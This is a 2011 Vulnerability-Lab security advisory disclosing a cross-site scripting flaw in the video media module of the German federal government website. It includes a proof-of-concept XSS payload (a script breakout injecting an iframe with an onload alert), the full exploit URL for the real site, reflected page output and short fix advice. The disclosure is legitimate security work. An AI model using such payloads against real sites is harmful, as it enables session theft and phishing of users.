Bundesregierung Website - Cross Site Scripting Vulnerability

Document Title:
===============
Bundesregierung Website - Cross Site Scripting Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=346


Release Date:
=============
2011-12-21


Vulnerability Laboratory ID (VL-ID):
====================================
346


Product & Service Introduction:
===============================
Die deutsche Bundesregierung, auch Bundeskabinett genannt, besteht aus dem Bundeskanzler und den Bundesministern.
Es ist die Regierung der Bundesrepublik Deutschland und übt damit die Exekutivgewalt auf Bundesebene aus.

(Copy of the Vendor Website: http://www.bundesregierung.de)


Abstract Advisory Information:
==============================
A Vulnerability-Lab researcher discovered a non reflective cross site scripting vulnerability in the government site builder CMS.


Vulnerability Disclosure Timeline:
==================================
2011-12-18: Public or Non-Public Disclosure


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Low


Technical Details & Description:
================================
A non reflective cross site scripting vulnerability is detected in the media module of the government site builder. 
The bug allows an attacker to steal admin and user cookies or build a phishing layer over the page with a prepared link.

Vulnerable Module(s):
			                         	[+] videos.html

Vulnerable Param(s):

			                         	[+] ?page=

Important Param(s):

			                         	[+] &view=coverflow


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attacker with required user inter action. For demonstration or reproduce ...

PoC:
"};</script><iframe src=//www.vulnerability-lab.com/ onload=alert('CrossSiteScripting')>

Reference(s):
www.bundesregierung.de/Webs/Breg/DE/Mediathek/Videos/videos.html?page=2"};</script><iframe src=//www.vulnerability-lab.com/ 
onload=alert('CrossSiteScripting')>sortString=-dateOfIssue&view=coverflow

--- Output Review ---
		var flashvars = {
			file: "/Webs/Breg/DE/Mediathek/Videos/Functions/FilterListeTabelle-Coverflow,templateId=r
enderCoverflowXML,nnp=670562.xml?view=coverflow%26page=2"};</script><iframe src=//www.vulnerability-lab.com/ 
onload=alert('CrossSiteScripting')>sortString=-dateOfIssue",
			vars: ""
		};


Solution - Fix & Patch:
=======================
To fix the security issue the manufacturer have to allow only numbers in the vulnerable parameter. It is always a good idea
to check all inputs with a whitelist of expect inputs. There are also techniques to block requests to other domains.


Security Risk:
==============
The security risk of the reflective xss vulnerability is estimated as low(+).


Credits & Authors:
==================
Vulnerability Research Laboratory -  Alexander Fuchs (f0x23)


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       - www.vulnerability-lab.com/register
Contact:    [email protected] 	- [email protected] 	       - [email protected]
Section:    video.vulnerability-lab.com 	- forum.vulnerability-lab.com 		       - news.vulnerability-lab.com
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       - youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
modify, use or edit our material contact ([email protected] or [email protected]) to get a permission.

    				   	Copyright © 2012 | Vulnerability Laboratory